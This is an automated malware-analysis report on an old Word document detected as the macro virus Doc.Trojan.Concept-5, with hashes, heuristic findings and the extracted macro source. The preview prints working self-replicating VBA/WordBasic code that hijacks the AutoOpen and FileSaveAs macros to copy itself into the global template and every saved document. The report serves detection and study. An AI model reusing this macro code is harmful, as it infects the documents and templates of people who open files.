Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71d03d2631816dbb…

MALICIOUS

Office (OLE)

34.0 KB Created: 1999-03-17 21:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b0b73e65b3481942c91ae1b314b18d37 SHA-1: d93f240aed4c2e8912efedfd72e8e2785db018d9 SHA-256: 71d03d2631816dbb7968a2be959bc76c41a9022da8c954bf12e485a363983cb3
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of legacy macro viruses, specifically identified as 'Doc.Trojan.Concept-5' by ClamAV. The presence of the AutoOpen macro and the 'RSN MACRO VIRUS' marker in the document body strongly suggests malicious intent. The VBA script attempts to copy macros and potentially save a malicious version of the document, indicating a self-propagating or infection mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Concept-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-5
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4785 bytes
SHA-256: 203ff34a4862526834120d2827c64dd36c69a4395936c24c2d96f2ec2eaee73d
Detection
ClamAV: Doc.Trojan.Concept-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Runs AutoOpenScan"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Bail
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":Joea"
WordBasic.MacroCopy sMacro$, "Global:FileSaveAs"
sMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy sMacro$, "Global:Jua"
If WordBasic.Day(WordBasic.Now()) = 1 Then
WordBasic.MsgBox "Tanggal satu, baru gajian nih ye, cerah sekali deh senyumnya."
End If
Bail:
End Sub

Attribute VB_Name = "Joea"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Joea.MAIN"
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Bali
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Jua", sMacro$
sMacro$ = sMe$ + ":Joea"
WordBasic.MacroCopy "Global:FileSaveAs", sMacro$
If WordBasic.Day(WordBasic.Now()) = 1 Then
WordBasic.MsgBox "Tanggal satu, baru gajian nih ye, cerah sekali deh senyumnya."
End If
WordBasic.FileSaveAs dlg
GoTo Done
Bali:
If Err.Number <> 102 Then
WordBasic.FileSaveAs dlg
End If
Done:
End Sub

' Processing file: /opt/analyzer/scan_staging/a7acda79ddc3437f8647496c87a1808b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2225 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sMacro
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Bail 
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #6:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":Joea"
' 	Add 
' 	St sMacro$ 
' Line #7:
' 	Ld sMacro$ 
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sMacro$ 
' Line #9:
' 	Ld sMacro$ 
' 	LitStr 0x000A "Global:Jua"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #10:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Day 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitStr 0x003D "Tanggal satu, baru gajian nih ye, cerah sekali deh senyumnya."
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0001 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Label Bail 
' Line #14:
' 	EndSub 
' Macros/VBA/Joea - 2387 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sMacro
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Bali 
' Line #5:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #6:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #7:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #9:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #10:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sMacro$ 
' Line #11:
' 	LitStr 0x000A "Global:Jua"
' 	Ld sMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":Joea"
' 	Add 
' 	St sMacro$ 
' Line #13:
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld sMacro$ 
' 	Ld WordBasic 

... (truncated)

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